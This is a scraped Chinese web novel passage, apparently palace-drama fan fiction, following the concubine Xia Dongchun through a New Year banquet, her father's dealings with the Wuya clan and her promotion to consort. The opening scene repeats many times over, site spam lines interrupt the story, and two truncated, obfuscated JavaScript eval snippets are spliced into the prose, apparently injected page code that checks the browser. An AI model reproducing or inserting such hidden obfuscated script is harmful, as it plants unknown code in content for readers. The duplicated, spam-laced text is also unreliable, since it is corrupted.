“皇后娘娘也不管这事,为什么华妃娘娘这么不好说话啊。” 她鼓着脸抱怨,看的出来很不痛快了。 “还有,皇后娘娘为什么叫嫔妾们在年宴上表演节目啊!又不是只有咱们,还有宗亲和大臣呢。” 小富察本来准备弹一曲古筝的,被夏冬春嫌弃了一番就放弃了。反正也讨不了什么好,何必费劲。 如今皇后没有挑唆到笨蛋,就忽悠到了安陵容头上。 那傻子在甄家就没学过规矩,自然也不知道皇后的险恶用心。 “那安答应为什么这么听皇后娘娘的话,还要唱一曲儿,那是宫嫔唱曲儿的场合吗皇上?” 她一个问题接着一个问题,皇上看着手边那五百两银票觉得这不是换座位的钱,这是答疑解惑的代价。 这么半年,皇上也知道了自己这位惠贵人的德行,问题多,但是答案有时候也不重要,只要让她说出来,她就痛快的多。 “朕给你换到富察贵人身边,你还有事没有?” 夏冬春摇了摇头:“还有一事。” 皇上看着她认真的说道:“摇头是没有的意思,你应该点头。” 好斤斤计较的一个皇帝,夏冬春没有说话,用眼神传达出了自己想要表达的讯息。 “你说吧。” 对付这样一个油盐不进只知道吃喝玩乐的女子皇上只能叹气。 “嫔妾想要穿的漂亮点,您别叫皇后娘娘和华妃娘娘说嫔妾了呗。” 皇上冷哼一声,这是想着多么僭越呢。 夏冬春把自己的脑袋伸到皇上面前:“您瞧呀,嫔妾这金簪漂不漂亮?嫔妾这玉环美不美丽?嫔妾这珍珠耀不耀眼?嫔妾这宝石闪不闪亮?这样的好东西,放起来多么暴遣天物啊皇上。” 想着袖口都发毛了的夏威,夏英武和夏威武父子三人,皇上又叹了口气。 这家人贪是真贪,但这钱全花到了后宫里,他也没法计较。 实际只是在当值时穿旧衣裳的父子仨不过是有各自的爱好罢了。 穿戴都是小节,大头全在府里的收藏。 和喜欢显摆的夏冬春不同,夏威父子更喜欢把好玩意儿收在府里自个儿看。 “知道了,你爱怎么打扮怎么打扮就是。” 皇上妥协了,并且想到了自家那简朴的额娘,总觉得有哪里不对。 被惠贵人头顶的金光闪了闪,皇上茅塞顿开。 他那好额娘这个月送去十四那里的钱可少了不少啊!难不成,有了别的路子? 皇上开始盘算起太后的人手了,毕竟乌雅氏在后宫内务府深耕多年,说不得有什么别的目的呢?他不得不防啊。 不能和富察贵人一个桌子?” 年宴时华妃负责的,夏冬春去问过了,被打发了出来,她还是不服气。 瞧着皇上没有说话,夏冬春也不气馁:“皇上,为什么华妃娘娘非要给嫔妾安排在沈贵人一起啊,嫔妾不喜欢沈贵人。” 皇上腹诽,就是知道你俩不对付华妃才这么安排的。她不喜欢你们两个。 “皇后娘娘也不管这事,为什么华妃娘娘这么不好说话啊。” 她鼓着脸抱怨,看的出来很不痛快了。 “还有,皇后娘娘为什么叫嫔妾们在年宴上表演节目啊!又不是只有咱们,还有宗亲和大臣呢。” 小富察本来准备弹一曲古筝的,被夏冬春嫌弃了一番就放弃了。反正也讨不了什么好,何必费劲。 如今皇后没有挑唆到笨蛋,就忽悠到了安陵容头上。 那傻子在甄家就没学过规矩,自然也不知道皇后的险恶用心。 “那安答应为什么这么听皇后娘娘的话,还要唱一曲儿,那是宫嫔唱曲儿的场合吗皇上?” 她一个问题接着一个问题,皇上看着手边那五百两银票觉得这不是换座位的钱,这是答疑解惑的代价。 这么半年,皇上也知道了自己这位惠贵人的德行,问题多,但是答案有时候也不重要,只要让她说出来,她就痛快的多。 “朕给你换到富察贵人身边,你还有事没有?” 夏冬春摇了摇头:“还有一事。” 皇上看着她认真的说道:“摇头是没有的意思,你应该点头。” 好斤斤计较的一个皇帝,夏冬春没有说话,用眼神传达出了自己想要表达的讯息。 “你说吧。” 对付这样一个油盐不进只知道吃喝玩乐的女子皇上只能叹气。 “嫔妾想要穿的漂亮点,您别叫皇后娘娘和华妃娘娘说嫔妾了呗。” 皇上冷哼一声,这是想着多么僭越呢。 夏冬春把自己的脑袋伸到皇上面前:“您瞧呀,嫔妾这金簪漂不漂亮?嫔妾这玉环美不美丽?嫔妾这珍珠耀不耀眼?嫔妾这宝石闪不闪亮?这样的好东西,放起来多么暴遣天物啊皇上。” 想着袖口都发毛了的夏威,夏英武和夏威武父子三人,皇上又叹了口气。 这家人贪是真贪,但这钱全花到了后宫里,他也没法计较。 实际只是在当值时穿旧衣裳的父子仨不过是有各自的爱好罢了。 穿戴都是小节,大头全在府里的收藏。 和喜欢显摆的夏冬春不同,夏威父子更喜欢把好玩意儿收在府里自个儿看。 “知道了,你爱怎么打扮怎么打扮就是。” 皇上妥协了,并且想到了自家那简朴的额娘,总觉得有哪里不对。 被惠贵人头顶的金光闪了闪,皇上茅塞顿开。 他那好额娘这个月送去十四那里的钱可少了不少啊!难不成,有了别的路子? 皇上开始盘算起太后的人手了,毕竟乌雅氏在后宫内务府深耕多年,说不得有什么别的目的呢?他不得不防啊。 不能和富察贵人一个桌子?” 年宴时华妃负责的,夏冬春去问过了,被打发了出来,她还是不服气。 瞧着皇上没有说话,夏冬春也不气馁:“皇上,为什么华妃娘娘非要给嫔妾安排在沈贵人一起啊,嫔妾不喜欢沈贵人。” 皇上腹诽,就是知道你俩不对付华妃才这么安排的。她不喜欢你们两个。 “皇后娘娘也不管这事,为什么华妃娘娘这么不好说话啊。” 她鼓着脸抱怨,看的出来很不痛快了。 “还有,皇后娘娘为什么叫嫔妾们在年宴上表演节目啊!又不是只有咱们,还有宗亲和大臣呢。” 小富察本来准备弹一曲古筝的,被夏冬春嫌弃了一番就放弃了。反正也讨不了什么好,何必费劲。 如今皇后没有挑唆到笨蛋,就忽悠到了安陵容头上。 那傻子在甄家就没学过规矩,自然也不知道皇后的险恶用心。 “那安答应为什么这么听皇后娘娘的话,还要唱一曲儿,那是宫嫔唱曲儿的场合吗皇上?” 她一个问题接着一个问题,皇上看着手边那五百两银票觉得这不是换座位的钱,这是答疑解惑的代价。 这么半年,皇上也知道了自己这位惠贵人的德行,问题多,但是答案有时候也不重要,只要让她说出来,她就痛快的多。 “朕给你换到富察贵人身边,你还有事没有?” 夏冬春摇了摇头:“还有一事。” 皇上看着她认真的说道:“摇头是没有的意思,你应该点头。” 好斤斤计较的一个皇帝,夏冬春没有说话,用眼神传达出了自己想要表达的讯息。 “你说吧。” 对付这样一个油盐不进只知道吃喝玩乐的女子皇上只能叹气。 “嫔妾想要穿的漂亮点,您别叫皇后娘娘和华妃娘娘说嫔妾了呗。” 皇上冷哼一声,这是想着多么僭越呢。 夏冬春把自己的脑袋伸到皇上面前:“您瞧呀,嫔妾这金簪漂不漂亮?嫔妾这玉环美不美丽?嫔妾这珍珠耀不耀眼?嫔妾这宝石闪不闪亮?这样的好东西,放起来多么暴遣天物啊皇上。” 想着袖口都发毛了的夏威,夏英武和夏威武父子三人,皇上又叹了口气。 这家人贪是真贪,但这钱全花到了后宫里,他也没法计较。 实际只是在当值时穿旧衣裳的父子仨不过是有各自的爱好罢了。 穿戴都是小节,大头全在府里的收藏。 和喜欢显摆的夏冬春不同,夏威父子更喜欢把好玩意儿收在府里自个儿看。 “知道了,你爱怎么打扮怎么打扮就是。” 皇上妥协了,并且想到了自家那简朴的额娘,总觉得有哪里不对。 被惠贵人头顶的金光闪了闪,皇上茅塞顿开。 他那好额娘这个月送去十四那里的钱可少了不少啊!难不成,有了别的路子? 皇上开始盘算起太后的人手了,毕竟乌雅氏在后宫内务府深耕多年,说不得有什么别的目的呢?他不得不防啊。 不能和富察贵人一个桌子?” 年宴时华妃负责的,夏冬春去问过了,被打发了出来,她还是不服气。 瞧着皇上没有说话,夏冬春也不气馁:“皇上,为什么华妃娘娘非要给嫔妾安排在沈贵人一起啊,嫔妾不喜欢沈贵人。” 皇上腹诽,就是知道你俩不对付华妃才这么安排的。她不喜欢你们两个。 “皇后娘娘也不管这事,为什么华妃娘娘这么不好说话啊。” 她鼓着脸抱怨,看的出来很不痛快了。 “还有,皇后娘娘为什么叫嫔妾们在年宴上表演节目啊!又不是只有咱们,还有宗亲和大臣呢。” 小富察本来准备弹一曲古筝的,被夏冬春嫌弃了一番就放弃了。反正也讨不了什么好,何必费劲。 如今皇后没有挑唆到笨蛋,就忽悠到了安陵容头上。 那傻子在甄家就没学过规矩,自然也不知道皇后的险恶用心。 “那安答应为什么这么听皇后娘娘的话,还要唱一曲儿,那是宫嫔唱曲儿的场合吗皇上?” 她一个问题接着一个问题,皇上看着手边那五百两银票觉得这不是换座位的钱,这是答疑解惑的代价。 这么半年,皇上也知道了自己这位惠贵人的德行,问题多,但是答案有时候也不重要,只要让她说出来,她就痛快的多。 “朕给你换到富察贵人身边,你还有事没有?” 夏冬春摇了摇头:“还有一事。” 皇上看着她认真的说道:“摇头是没有的意思,你应该点头。” 好斤斤计较的一个皇帝,夏冬春没有说话,用眼神传达出了自己想要表达的讯息。 “你说吧。” 对付这样一个油盐不进只知道吃喝玩乐的女子皇上只能叹气。 “嫔妾想要穿的漂亮点,您别叫皇后娘娘和华妃娘娘说嫔妾了呗。” 皇上冷哼一声,这是想着多么僭越呢。 夏冬春把自己的脑袋伸到皇上面前:“您瞧呀,嫔妾这金簪漂不漂亮?嫔妾这玉环美不美丽?嫔妾这珍珠耀不耀眼?嫔妾这宝石闪不闪亮?这样的好东西,放起来多么暴遣天物啊皇上。” 想着袖口都发毛了的夏威,夏英武和夏威武父子三人,皇上又叹了口气。 这家人贪是真贪,但这钱全花到了后宫里,他也没法计较。 实际只是在当值时穿旧衣裳的父子仨不过是有各自的爱好罢了。 穿戴都是小节,大头全在府里的收藏。 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“还有,皇后娘娘为什么叫嫔妾们在年宴上表演节目啊!又不是只有咱们,还有宗亲和大臣呢。” 小富察本来准备弹一曲古筝的,被夏冬春嫌弃了一番就放弃了。反正也讨不了什么好,何必费劲。 如今皇后没有挑唆到笨蛋,就忽悠到了安陵容头上。 那傻子在甄家就没学过规矩,自然也不知道皇后的险恶用心。 “那安答应为什么这么听皇后娘娘的话,还要唱一曲儿,那是宫嫔唱曲儿的场合吗皇上?” 她一个问题接着一个问题,皇上看着手边那五百两银票觉得这不是换座位的钱,这是答疑解惑的代价。 这么半年,皇上也知道了自己这位惠贵人的德行,问题多,但是答案有时候也不重要,只要让她说出来,她就痛快的多。 “朕给你换到富察贵人身边,你还有事没有?” 夏冬春摇了摇头:“还有一事。” 皇上看着她认真的说道:“摇头是没有的意思,你应该点头。” 好斤斤计较的一个皇帝,夏冬春没有说话,用眼神传达出了自己想要表达的讯息。 “你说吧。” 对付这样一个油盐不进只知道吃喝玩乐的女子皇上只能叹气。 “嫔妾想要穿的漂亮点,您别叫皇后娘娘和华妃娘娘说嫔妾了呗。” 皇上冷哼一声,这是想着多么僭越呢。 夏冬春把自己的脑袋伸到皇上面前:“您瞧呀,嫔妾这金簪漂不漂亮?嫔妾这玉环美不美丽?嫔妾这珍珠耀不耀眼?嫔妾这宝石闪不闪亮?这样的好东西,放起来多么暴遣天物啊皇上。” 想着袖口都发毛了的夏威,夏英武和夏威武父子三人,皇上又叹了口气。 这家人贪是真贪,但这钱全花到了后宫里,他也没法计较。 实际只是在当值时穿旧衣裳的父子仨不过是有各自的爱好罢了。 穿戴都是小节,大头全在府里的收藏。 和喜欢显摆的夏冬春不同,夏威父子更喜欢把好玩意儿收在府里自个儿看。 “知道了,你爱怎么打扮怎么打扮就是。” 皇上妥协了,并且想到了自家那简朴的额娘,总觉得有哪里不对。 被惠贵人头顶的金光闪了闪,皇上茅塞顿开。 他那好额娘这个月送去十四那里的钱可少了不少啊!难不成,有了别的路子? 皇上开始盘算起太后的人手了,毕竟乌雅氏在后宫内务府深耕多年,说不得有什么别的目的呢?他不得不防啊。 不能和富察贵人一个桌子?” 年宴时华妃负责的,夏冬春去问过了,被打发了出来,她还是不服气。 瞧着皇上没有说话,夏冬春也不气馁:“皇上,为什么华妃娘娘非要给嫔妾安排在沈贵人一起啊,嫔妾不喜欢沈贵人。” 皇上腹诽,就是知道你俩不对付华妃才这么安排的。她不喜欢你们两个。 “皇后娘娘也不管这事,为什么华妃娘娘这么不好说话啊。” 她鼓着脸抱怨,看的出来很不痛快了。 “还有,皇后娘娘为什么叫嫔妾们在年宴上表演节目啊!又不是只有咱们,还有宗亲和大臣呢。” 小富察本来准备弹一曲古筝的,被夏冬春嫌弃了一番就放弃了。反正也讨不了什么好,何必费劲。 如今皇后没有挑唆到笨蛋,就忽悠到了安陵容头上。 那傻子在甄家就没学过规矩,自然也不知道皇后的险恶用心。 “那安答应为什么这么听皇后娘娘的话,还要唱一曲儿,那是宫嫔唱曲儿的场合吗皇上?” 她一个问题接着一个问题,皇上看着手边那五百两银票觉得这不是换座位的钱,这是答疑解惑的代价。 这么半年,皇上也知道了自己这位惠贵人的德行,问题多,但是答案有时候也不重要,只要让她说出来,她就痛快的多。 “朕给你换到富察贵人身边,你还有事没有?” 夏冬春摇了摇头:“还有一事。” 皇上看着她认真的说道:“摇头是没有的意思,你应该点头。” 好斤斤计较的一个皇帝,夏冬春没有说话,用眼神传达出了自己想要表达的讯息。 “你说吧。” 对付这样一个油盐不进只知道吃喝玩乐的女子皇上只能叹气。 “嫔妾想要穿的漂亮点,您别叫皇后娘娘和华妃娘娘说嫔妾了呗。” 皇上冷哼一声,这是想着多么僭越呢。 夏冬春把自己的脑袋伸到皇上面前:“您瞧呀,嫔妾这金簪漂不漂亮?嫔妾这玉环美不美丽?嫔妾这珍珠耀不耀眼?嫔妾这宝石闪不闪亮?这样的好东西,放起来多么暴遣天物啊皇上。” 想着袖口都发毛了的夏威,夏英武和夏威武父子三人,皇上又叹了口气。 这家人贪是真贪,但这钱全花到了后宫里,他也没法计较。 实际只是在当值时穿旧衣裳的父子仨不过是有各自的爱好罢了。 穿戴都是小节,大头全在府里的收藏。 和喜欢显摆的夏冬春不同,夏威父子更喜欢把好玩意儿收在府里自个儿看。 “知道了,你爱怎么打扮怎么打扮就是。” 皇上妥协了,并且想到了自家那简朴的额娘,总觉得有哪里不对。 被惠贵人头顶的金光闪了闪,皇上茅塞顿开。 他那好额娘这个月送去十四那里的钱可少了不少啊!难不成,有了别的路子? 皇上开始盘算起太后的人手了,毕竟乌雅氏在后宫内务府深耕多年,说不得有什么别的目的呢?他不得不防啊。 不能和富察贵人一个桌子?” 年宴时华妃负责的,夏冬春去问过了,被打发了出来,她还是不服气。 瞧着皇上没有说话,夏冬春也不气馁:“皇上,为什么华妃娘娘非要给嫔妾安排在沈贵人一起啊,嫔妾不喜欢沈贵人。” 皇上腹诽,就是知道你俩不对付华妃才这么安排的。她不喜欢你们两个。 “皇后娘娘也不管这事,为什么华妃娘娘这么不好说话啊。” 她鼓着脸抱怨,看的出来很不痛快了。 “还有,皇后娘娘为什么叫嫔妾们在年宴上表演节目啊!又不是只有咱们,还有宗亲和大臣呢。” 小富察本来准备弹一曲古筝的,被夏冬春嫌弃了一番就放弃了。反正也讨不了什么好,何必费劲。 如今皇后没有挑唆到笨蛋,就忽悠到了安陵容头上。 那傻子在甄家就没学过规矩,自然也不知道皇后的险恶用心。 “那安答应为什么这么听皇后娘娘的话,还要唱一曲儿,那是宫嫔唱曲儿的场合吗皇上?” 她一个问题接着一个问题,皇上看着手边那五百两银票觉得这不是换座位的钱,这是答疑解惑的代价。 这么半年,皇上也知道了自己这位惠贵人的德行,问题多,但是答案有时候也不重要,只要让她说出来,她就痛快的多。 “朕给你换到富察贵人身边,你还有事没有?” 夏冬春摇了摇头:“还有一事。” 皇上看着她认真的说道:“摇头是没有的意思,你应该点头。” 好斤斤计较的一个皇帝,夏冬春没有说话,用眼神传达出了自己想要表达的讯息。 “你说吧。” 对付这样一个油盐不进只知道吃喝玩乐的女子皇上只能叹气。 “嫔妾想要穿的漂亮点,您别叫皇后娘娘和华妃娘娘说嫔妾了呗。” 皇上冷哼一声,这是想着多么僭越呢。 夏冬春把自己的脑袋伸到皇上面前:“您瞧呀,嫔妾这金簪漂不漂亮?嫔妾这玉环美不美丽?嫔妾这珍珠耀不耀眼?嫔妾这宝石闪不闪亮?这样的好东西,放起来多么暴遣天物啊皇上。” 想着袖口都发毛了的夏威,夏英武和夏威武父子三人,皇上又叹了口气。 这家人贪是真贪,但这钱全花到了后宫里,他也没法计较。 实际只是在当值时穿旧衣裳的父子仨不过是有各自的爱好罢了。 穿戴都是小节,大头全在府里的收藏。 和喜欢显摆的夏冬春不同,夏威父子更喜欢把好玩意儿收在府里自个儿看。 “知道了,你爱怎么打扮怎么打扮就是。” 皇上妥协了,并且想到了自家那简朴的额娘,总觉得有哪里不对。 被惠贵人头顶的金光闪了闪,皇上茅塞顿开。 他那好额娘这个月送去十四那里的钱可少了不少啊!难不成,有了别的路子? 皇上开始盘算起太后的人手了,毕竟乌雅氏在后宫内务府深耕多年,说不得有什么别的目的呢?他不得不防啊。 第396 章 夏冬春13 “彭武老弟啊你们这家信未免也太不谨慎了些。若不是下头的人机灵怕是这个时候就到了皇上的桌子上了。” 大嗓门的夏威捏着一封厚厚的信封走到乌雅彭武面前。他身上带了些刺鼻的脂粉香熏的乌雅彭武直打喷嚏。 “啊切!你这是去了哪里?大白天的你也注意些吧。” 说着乌雅彭武一把抢过夏威手中的家信后退一步嫌弃的挥了挥手。不过眼神的好奇和嘲弄没想着隐藏从前只听闻夏家这个大块头敬重身子不好的福晋就连那几个妾室都是福晋纳进门的。 传的那般深情这不大白天的就出去乱来了?也不知道哪个眼瞎的光知道盯着晚上害他们白白被自家福晋嫌弃。 夏威揉了揉通红的鼻头一脸无辜:“我这是去外头的香料坊给我家贵人挑脂粉了。你也知道马上就到了除夕宴宫里头的东西再好我这闺女也只是个贵人唉外头的新鲜物都看不到多可怜啊。” 乌雅彭武放下手大致扫了一眼那封像薄砖似的信扯出一个虚假的笑容。真好啊又让他装到了。 “多谢夏大人了乌雅氏别的不说这香料脂粉还是有些研究的。外头的东西虽然图个新鲜但到底不如咱们这经久流传的方子好。夏大人若是不嫌弃府里有些珍藏也算是谢礼了。” 夏威的鼻子已经快失去了嗅觉闻言也只是想着乌雅氏胃口大说不得克扣了哪个娘娘的供奉想也没想就应了下来。 “你这干事的也该查一查了这信今儿落在我手里还好这内庭可不是就咱们两家说了算的。” 意外截获太后的家信夏威想了想还是用来挑唆了一二正好趁着这个机会浑水摸鱼给自家闺女也摸个底别叫乌雅氏忽悠了去。 说起这个乌雅彭武很郑重的抱拳道谢。 “夏大人说的是不知夏大人是否得空今儿我做东咱们去喝上一杯。” 哪知夏威摆了摆手憨厚的脸上带了些不自觉的笑意:“不了不了这不惠贵人在宫里头又给我挣了个差事儿女都是债这都要年节了也不知道叫她阿玛歇一歇。” 虽是抱怨但夏威的笑容还是深深刺痛了乌雅彭武的眼睛。 为皇上办差 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的吗? 人家只是一个贵人就知道给自己阿玛谋划。不论大小总归是一番提携。 这事这人都不能对比乌雅彭武起的心都要滴了血却还是得强撑着笑脸道了一句恭喜然后‘潇洒’的和夏威道别。 回到府上乌雅彭武又找了一次族长乌雅庆峰。 “自从那位惠贵人起势后咱们的人确实有了些变动一位贵人还真是得力啊。” 乌雅庆峰捋着胡子混浊的眼睛看着外头被乌云遮住的月亮满是感慨。 “今年族里的进项确实少了些年礼怕是不能按照以往来送了。” 即使是先帝驾崩那年 从前有德妃的名头在他们自己在内务府和御膳房等地钻营也不觉得有什么不对。 现在看来自己努力和宠妃的拉拔确实有很大的差别。 “嗯往惠贵人那里封些年礼夏家要进咱们就退一步只要婉容稳住了总会有机会的。” 乌雅氏和夏家现在是互相掣肘谁的底子都不干净胡乱闹上一通得利的只会是别人。 收到乌雅氏送来的香料脂粉夏冬春也没觉得奇怪。 她拿起一个粉彩饰描金莲花的胭脂盒里头的胭脂膏子颜色饱满味道馥郁。 “倒是些好东西乌雅氏还是有门道。” 扒拉了一下榻上铺的满满当当的盒子除了首饰和字画还有不少银票。 “都是些俗物小主喜欢就好。” 这些日子不怎么去景仁宫请安富察贵人和淳常在也跑的勤了些见天儿的热闹不算莞常在那里也多的是乐子。所以秋香和秋丽几人都历练了出来只要不是**她们都不往心里去。 夏冬春把手里的珍珠随意的撇在榻上又兴致冲冲的跑去准备年宴的衣裳。 她可是得了皇上的金口玉言谁的面子都不用给想怎么穿就怎么穿。 次日便是除夕一大早去景仁宫请安时夏冬春就换上了亮眼的玫粉色宫装。她这肤色养的越发白皙透亮这样妖艳的颜色不压容貌反而更衬的她活力四射。 宫里的绣娘确实会先紧着皇后华妃的衣裳做但夏冬春有后门可以走啊所以她的新衣裳比华妃还多。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 这年节大约要过十六天左右,夏冬春准备了二十五身宫装,配套的比甲和斗篷也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏冬春得意的转了转手腕上碧绿的镯子:“不劳华妃娘娘操心,这新衣裳,自然是足足的。怎么?姐姐们和妹妹们不是过年每天都要换新衣裳的吗?为什么不多做几身啊?是不喜欢新衣裳吗?” 横扫了整个景仁宫,夏冬春开心的多吃了一碗饭。 第397 章 夏冬春14 用了午膳,夏冬春歪在舒服的美人榻上歇了歇神,就被秋香和秋丽叫了起来。 以橘红色的云锦为底,以盘金绣和打籽绣为主要针法。栩栩如生的芍药连花蕊都以细碎的宝石点缀。同色的花盆底有八公分的高度,鞋头上用合浦明珠做装饰,行走间若隐若现。 镂空的鞋底塞满了珍贵的香料,以冬日里的梅花和沉香为主,辅添了珍惜的百花凝露,香味悠长却不浓郁。 旗头用了最显身高和气势的大拉翅,镶红蓝宝石的蝶戏双花鎏金簪,白玉孔雀珍珠步摇,珐琅彩镂花扁方等一一固定,再配上一对色泽浓郁的翡翠耳坠,这一身怕是能换两个华妃。 理了理胸前刻万福的迦南香木压襟,这是夏威亲自挑的木料,找大师雕刻了卍和福,又送到了佛寺高僧供奉念了七七四十九天【药师琉璃光如来本愿功德经】,才送到了夏冬春手里。 这份心意实在贵重,戴在手上未免大家忽略过去,夏冬春把它做成了压襟。 按照位分,夏冬春出场比较早,毕竟她只是个小小的贵人。和富察贵人携手坐到自己的座位上,正在猜测皇后和华妃等人的穿着,这殿内陆陆续续就被美人填满。 等到太监唱和道:“华妃娘娘到时,夏冬春起身,表情里带了些挑衅的行礼问安。 华妃本还自豪自己这一身的富贵,却没想到一个照面就被夏冬春比了下去。 金线密织穿宝石珠子的绢花都是俗物,夏冬春日常里就是这么戴的,今日这般隆重的场合,华妃自己都觉得有拾人牙慧的羞恼。 太后来晃了一圈,底下金光闪闪的惠贵人叫她心里头很是不痛快。 “哀家瞧着惠贵人穿的漂亮,怕是花了不少银子吧? 皇上有些不耐烦的笑了笑,夏家那点家底都到了自己这位惠贵人身上,再追着不放,一点皇家气度都没有。 夏冬春却不觉得恐慌,她站起身骄傲道:“还是太后娘娘有眼光,今日这样的大场合,嫔妾自然不能给皇上丢脸。 皇上笑着隔空点了点夏冬春:“你阿玛省的那点银子都穿到你身上了,妮子年幼,正是爱美爱俏的时候,好了,坐下吧。 今早夏威送了年礼给皇上,说是一家人都要有才是。还是用红纸封着,皇上收了礼,自然心情好。 在华妃的计划里,本该是她大出风头的时刻 听说看这本书的人都是很幸运的,分享后你的运气会更棒 被夏冬春抢了心里哪能痛快了,便不停的给皇上敬酒,然后显摆似的看向夏冬春。 然而夏冬春根本没看见。 这宫宴的菜大多都是提前准备好的,不过每桌都有一个热锅子,倒是美味的很。再加上点心和果子,夏冬春捡着喜欢的埋头苦吃。 “你快停一停吧。 富察贵人有些看不下去了,小声的拉着夏冬春的袖子提醒。 “你不饿吗?收拾了这么久,没吃东西吧?肚子空不空? 富察贵人当然饿,本来还能忍一忍,但被劝说的嘴里快速分泌口水,只能和夏冬春一起动起筷子。 “皇上,这歌舞每年都要一观,为免大家腻歪,今日安答应准备了一曲,愿庆贺咱们大清繁荣昌盛。 夏冬春听到这个动静立刻抬起了头。 “快看快看,是你延禧宫的人,好丢脸哦。 她凑到富察贵人耳边嘲讽,眼神还瞄向上头的皇上,那表情带着看好戏的得意,十分的欠揍。 皇上旁敲侧击的敲打过皇后,没想到她死性不改,一定要在这场合丢人现眼。 “哟,皇上这后妃出来唱歌倒也是头一份了,快上来叫臣弟看看,到底是多勾人的嗓子叫皇上这么得意。 敦亲王的话一出,挖坑的皇后和看戏的华妃都白了脸,她们只顾着看对方的笑话,完全忘了皇上的脸面。 皇上没有说话,只是冷冷的看着手里的酒杯。 皇后和华妃连忙起身:“是臣妾思虑不周,请皇上恕罪。 敦亲王的话太过难听,敦亲王福晋拉着他赔了罪。 “好了,老十你这嘴是该多管管了。 皇上不高兴的表情太明显,后头的气氛越发的低迷。 夏冬春拉着秋丽说了两句话,迎着皇上的眼神拍了拍自己胸口,一副很有气势的样子。 被逗的恢复了些精神,皇上看着桌上的红梅发了会儿呆。 “惠贵人,和朕出去走走。 莞常在那张脸确实更适合怀念故人,但今晚的情绪太过复杂,还是和单纯的惠贵人一起更为轻松一点。 皇上离席,甄嬛坐了会儿也有些闷,和同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏冬春支着下巴嘿嘿傻笑:“嫔妾就是找人去钮钴禄氏送了话而已。敦亲王如此不懂事,惹了哥哥生气,作为外家,总得出出力嘛。” 毕竟是世家大族,底气雄厚的很。 皇上大方的分了五千两给夏冬春,手里的银票厚度连皮都没破。 啊,当贪官真好啊。 第398 章 夏冬春15 夏威升职了。 正四品包衣佐领升任从三品包衣参领管辖正黄旗镶黄旗和正白旗属下多个包衣佐领。并担任内务府堂郎中协助总管大臣处理文书往来。 前朝的好消息还未停了恭贺之声后宫的惠贵人晋位惠嫔主储秀宫主位。 接了圣旨的夏冬春眨巴眨巴眼睛笑的一脸单蠢的看着苏培盛问道:“苏公公皇上为什么这么突然晋了本宫的位分?可是本宫在宫宴上给皇上长脸了?” 在后头跟着接旨的欣常在满心的羡慕化作笑意看着初入宫时和自己平起平坐的小姑娘如今就要称上一句娘娘想着自己也是抱上了金大腿眼前好像出现了一片坦途直达养老。 “娘娘得皇上喜爱其中关窍就让皇上和娘娘说吧奴才恭喜娘娘。” 苏培盛在这届小主里最看好的莞常在仍旧默默无闻反而是最不看好的惠嫔顺风起飞。 不经意间扫了一眼储秀宫的掌事宫女禾穗在心里摇了摇头。这位的资历比槿汐深的多只盼那位莞常在平平安安的就是了。 喜事红封自然是少不得的。夏冬春小手一挥大把的银子洒进了奴才们的口袋。 储秀宫的热闹在东西六宫间流淌各宫的娘娘小主喜怒不一噼里啪啦的声响断断续续。内务府的报损要比往常多了三倍不止。夏威谨记自家姑娘的嘱托把那些损坏的瓷器转手收入一个不起眼的府邸那是他十几年前为爱女准备的嫁妆。 黄昏后皇上穿着常服走进装饰一新的储秀宫正殿。本以为会看到稍显凌乱的屋子谁知熟悉的百花香在鼻尖萦绕各归各位的花瓶屏风各司其职的宫女太监好似惠嫔一直在这里不是刚搬来一样。 “你这里收拾的麻利。” 正殿宽敞皇上歪在软榻上拉着夏冬春的手摩挲了两下。好在表情正常倒不至于叫夏冬春觉得油腻。 “赏银给够了奴才们干活自然利索。” 当一个打工人的月薪两万时不时有各种餐补和加班费时干活的麻利劲儿不用多说。 看着即使在室内也珠光宝气的惠嫔想了想为了给他办差胳膊肘打补丁的夏威皇上不由得下了决心:即便是公主也得好好教养。 想到公主皇上思绪一转:“既然已经成了储秀宫的主位 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 好? 突然想起那个被他放在一旁不闻不问的大女儿,皇上难得升起了一点点父爱。 夏冬春随意的点了点头,这宫里头养孩子最是简单,成群的奴仆跟着,她不过是张张嘴的事。 “好啊,臣妾虽然没养过孩子,但是臣妾把自己养的很好啊。 皇上笑了起来,他就是喜欢惠嫔这股没心没肺的劲儿。 “皇上,为什么突然给臣妾晋位啊?是不是突然发现臣妾美得不可方物? 捧着脸,夏冬春凑近皇上,自信的表情叫皇上有些语塞。 皇上随意捡起桌上那指节长短的玉柱把夏冬春的脑袋推回去,面无表情的说道:“不是,是你阿玛立功了。 话落,皇上才发现桌子上的小笸箩里放满了这大小的玉柱。红的,绿的,紫的,黄的,简直是富贵迷人眼。 “阿玛立功?真的吗?为什么阿玛这么多年办差都没立过功,臣妾刚入宫他就立功啦?还不是臣妾的功劳。 逻辑完美,就连皇上都差点被洗脑。 夏威还真算是搭了夏冬春的福气,被皇上委以重任查探乌雅氏的暗线。 不过好在夏威是个事事都愿意和闺女分享的好爹,这事自然是瞒不过夏冬春的眼睛的。 夏冬春指路隆科多,夏威不分青红皂白的信任照办。顺便和乌雅氏里应外合,做了次双面间谍送出去了一条乌雅氏不大不小的暗线,保住了乌雅氏大部分的家底。 只是这一个不算大的动作,就给皇上创收了半个国库。毕竟隆科多不管按照什么罪名去查,都能有所收获。 养心殿的皇上确认太后和隆科多有私下联系,并且通过乌雅氏和隆科多对十四默默补贴。 寿康宫的太后认为皇上卸磨杀驴不顾手足情深苛待老臣欺负亲弟弟。 而宫外的隆科多看着这有些伤筋动骨的抄家以为太后出卖老情人而皇上忘恩,正在府里无能狂怒,**的念头一闪而过。 不过如今为时尚早,最快乐的夏冬春在皇上的眼皮子底下把家里刚接到的赏赐‘搜刮一空’,对镜自揽顶着十几斤的钿子真诚的向皇上发问:“好看吗? 